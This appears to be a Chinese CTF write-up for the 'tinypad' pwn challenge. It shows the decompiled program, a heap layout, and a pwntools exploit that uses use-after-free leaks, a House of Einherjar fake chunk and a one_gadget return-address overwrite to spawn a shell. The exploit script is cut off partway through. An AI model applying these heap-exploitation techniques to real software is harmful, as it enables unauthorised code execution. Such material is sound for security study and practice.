概述
64位程序 #House Of Einherjar #use after free
程序逻辑
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 __int64 v3; // rdx 4 __int64 v4; // rdx 5 __int64 v5; // rdx 6 __int64 v6; // rdx 7 size_t v7; // rax 8 signed int v8; // eax 9 signed __int64 v9; // rdx 10 signed int v10; // eax 11 signed __int64 v11; // rdx 12 size_t v12; // rax 13 __int64 v13; // rdx 14 size_t v14; // rax 15 __int64 v15; // rdx 16 __int64 v16; // rdx 17 int c; // [rsp+4h] [rbp-1Ch] 18 int i; // [rsp+8h] [rbp-18h] 19 int v20; // [rsp+Ch] [rbp-14h] 20 int v21; // [rsp+10h] [rbp-10h] 21 int v22; // [rsp+14h] [rbp-Ch] 22 unsigned __int64 v23; // [rsp+18h] [rbp-8h] 23 24 v23 = __readfsqword(0x28u); 25 v21 = 0; 26 write_n(&unk_4019F0, 1LL, envp); 27 write_n( 28 " ============================================================================n" 29 "// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\n" 30 "|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||n" 31 "|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||n" 32 "|| _| _| _| _|_| _| _| _| _| _| _| ||n" 33 "\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //n" 34 " ============================================================================n", 35 563LL, 36 v3); 37 write_n(&unk_4019F0, 1LL, v4); 38 do 39 { 40 for ( i = 0; i <= 3; ++i ) 41 { 42 LOBYTE(c) = i + 49; 43 writeln("+------------------------------------------------------------------------------+n", 81LL); 44 write_n(" # INDEX: ", 12LL, v5); 45 writeln(&c, 1LL); 46 write_n(" # CONTENT: ", 12LL, v6); 47 if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] ) 48 { 49 v7 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]); 50 writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], v7); 51 } 52 writeln(&unk_4019F0, 1LL); 53 } 54 v20 = 0; 55 v8 = getcmd(); 56 v21 = v8; 57 if ( v8 == 68 ) 58 { 59 write_n("(INDEX)>>> ", 11LL, v9); 60 v20 = read_int(); 61 if ( v20 > 0 && v20 <= 4 ) 62 { 63 if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] ) 64 { 65 free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]); 66 *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL; 67 writeln("nDeleted.", 9LL); 68 } 69 else 70 { 71 writeln("Not used", 8LL); 72 } 73 } 74 else 75 { 76 writeln("Invalid index", 13LL); 77 } 78 } 79 else if ( v8 > 68 ) 80 { 81 if ( v8 != 69 ) 82 { 83 if ( v8 == 81 ) 84 continue; 85 LABEL_43: 86 writeln("No such a command", 17LL); 87 continue; 88 } 89 write_n("(INDEX)>>> ", 11LL, v9); 90 v20 = read_int(); 91 if ( v20 > 0 && v20 <= 4 ) 92 { 93 if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] ) 94 { 95 c = 48; 96 strcpy(tinypad, *(const char **)&tinypad[16 * (v20 - 1 + 16LL) + 8]); 97 while ( toupper(c) != 89 ) 98 { 99 write_n("CONTENT: ", 9LL, v16); 100 v12 = strlen(tinypad); 101 writeln(tinypad, v12); 102 write_n("(CONTENT)>>> ", 13LL, v13); 103 v14 = strlen(*(const char **)&tinypad[16 * (v20 - 1 + 16LL) + 8]); 104 read_until(tinypad, v14, 10LL); 105 writeln("Is it OK?", 9LL); 106 write_n("(Y/n)>>> ", 9LL, v15); 107 read_until(&c, 1LL, 10LL); 108 } 109 strcpy(*(char **)&tinypad[16 * (v20 - 1 + 16LL) + 8], tinypad); 110 writeln("nEdited.", 8LL); 111 } 112 else 113 { 114 writeln("Not used", 8LL); 115 } 116 } 117 else 118 { 119 writeln("Invalid index", 13LL); 120 } 121 } 122 else 123 { 124 if ( v8 != 65 ) 125 goto LABEL_43; 126 while ( v20 <= 3 ) 127 { 128 v9 = 16 * (v20 + 16LL); 129 if ( !*(_QWORD *)&tinypad[v9] ) 130 break; 131 ++v20; 132 } 133 if ( v20 == 4 ) 134 { 135 writeln("No space is left.", 17LL); 136 } 137 else 138 { 139 v22 = -1; 140 write_n("(SIZE)>>> ", 10LL, v9); 141 v22 = read_int(); 142 if ( v22 <= 0 ) 143 { 144 v10 = 1; 145 } 146 else 147 { 148 v10 = v22; 149 if ( (unsigned __int64)v22 > 0x100 ) 150 v10 = 256; 151 } 152 v22 = v10; 153 *(_QWORD *)&tinypad[16 * (v20 + 16LL)] = v10; 154 *(_QWORD *)&tinypad[16 * (v20 + 16LL) + 8] = malloc(v22); 155 v11 = 16 * (v20 + 16LL); 156 if ( !*(_QWORD *)&tinypad[v11 + 8] ) 157 { 158 writerrln("[!] No memory is available.", 27LL); 159 exit(-1); 160 } 161 write_n("(CONTENT)>>> ", 13LL, v11); 162 read_until(*(_QWORD *)&tinypad[16 * (v20 + 16LL) + 8], v22, 10LL); 163 writeln("nAdded.", 7LL); 164 } 165 } 166 } 167 while ( v21 != 81 ); 168 return 0; 169 }
add操作后内存分布,最多申请0x100的内存
1 0x602040 <-tinypad 2 0x602140 size_idx1 <-tinypad+256 3 0x602148 ptr_idx1 4 0x602150 size_idx2 5 0x602158 ptr_idx2 6 0x602160 size_idx3 7 0x602168 ptr_idx3 8 0x602170 size_idx4 9 0x602178 ptr_idx4
edit操作时先判断相应idx的size是否为0,然后用strlen计算len,并读入len长度的新内容
新内容写入0x602040处,再strcpy到对应的ptr处
每次菜单前会输出每个ptr的内容,由于free后没有置NULL,所以可以用来泄漏地址
利用思路
- 利用删除时没有将指针置为 NULL 的 UAF 漏洞,泄漏堆的基地址
- 再次利用 UAF 漏洞泄漏 libc 的基地址。
- 利用 house of einherjar 方法在 tinypad 的前 256 字节中伪造 chunk。当我们再次申请时,那么就可以控制 4 个 memo 的指针和内容了。
- 这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址,但是,由于当编辑时,程序是利用 strlen 来判读可以读取多少长度,而 malloc_hook 则在初始时为 0。所以我们直接覆盖,所以这里采用其他方法,即修改程序的 main 函数的返回地址为 one_gadget,之所以可以行得通,是因为返回地址往往是 7f 开头的,长度足够长,可以覆盖为 one_gadget。所以我们还是需要泄漏 main 函数的返回地址,由于 libc 中存储了 main 函数 environ 指针的地址,所以我们可以先泄露出 environ 的地址,然后在得知存储 main 函数的返回地址的地址。这里选取 environ 符号是因为 environ 符号在 libc 中会导出,而像 argc 和 argv 则不会导出,相对来说会比较麻烦一点。
- 最后修改 main 函数的返回地址为 one_gadget 地址获取 shell。
expolit
1 from pwn import * 2 sh=process('tinypad') 3 elf=ELF('tinypad') 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 5 main_arena_offset=0x3c4b20 6 7 def add(size,content): 8 sh.recvuntil('(CMD)>>> ') 9 sh.sendline('a') 10 sh.recvuntil('(SIZE)>>> ') 11 sh.sendline(str(size)) 12 sh.recvuntil('(CONTENT)>>> ') 13 sh.sendline(content) 14 15 def edit(idx,content): 16 sh.recvuntil('(CMD)>>> ') 17 sh.sendline('e') 18 sh.recvuntil('(INDEX)>>> ') 19 sh.sendline(str(idx)) 20 sh.recvuntil('(CONTENT)>>> ') 21 sh.sendline(content) 22 sh.recvuntil('Is it OK?n') 23 sh.sendline('Y') 24 25 def delete(idx): 26 sh.recvuntil('(CMD)>>> ') 27 sh.sendline('d') 28 sh.recvuntil('(INDEX)>>> ') 29 sh.sendline(str(idx)) 30 31 #leak heap_base 32 add(0x70,'a'*8) #idx1 33 add(0x70,'b'*8) #idx2 34 add(0x100,'c'*8) #idx3 35 delete(2) 36 delete(1) #fastbin 0x70 idx1->idx2->NULL idx1->fd=idx2 37 sh.recvuntil('# CONTENT: ') 38 data=sh.recvuntil('n',drop=True) 39 heap_base=u64(data.ljust(8,'x00'))-0x80 40 print 'heap_base: '+hex(heap_base) 41 #leak libc_base 42 delete(3) #now idx3 merge into top chunk , idx2 merge with idx1 , idx1->fd=unsorted_bin_adr 43 unsorted_offset_arena=88 44 sh.recvuntil('# CONTENT: ') 45 data=sh.recvuntil('n',drop=True) 46 unsorted_bin_adr=u64(data.ljust(8,'x00')) 47 main_arena=unsorted_bin_adr-unsorted_offset_arena 48 libc_base=main_arena-main_arena_offset 49 print 'libc_base: '+hex(libc_base) 50 51 #house of einherjar 52 add(0x18,'a'*0x18) #idx1 重用idx2的prev_size 可溢出覆盖 53 add(0x100,'b'*0xf8+'x11') #idx2 54 #after overflow 0x111->0x100 55 #'x11' is next fake_chunk->size 56 add(0x100,'c'*0xf8) #idx3 57 add(0x100,'d'*0xf8) #idx4 58 59 #tinypad+0x20 -> fake_chunk 60 #*(tinypad+0x100+0x20)=next_chunk->prev_size=size_idx3=0x100 61 tinypad_adr=0x602040 62 fakechunk_adr=tinypad_adr+0x20 63 fakechunk_size=0x101 64 fakechunk=p64(0)+p64(fakechunk_size)+p64(fakechunk_adr)+p64(fakechunk_adr) 65 edit(3,'d'*0x20+fakechunk) 66 67 #overflow idx2->prev_size idx2->size->inuse 68 diff=heap_base+0x20-fakechunk_adr 69 diff_strip=p64(diff).strip('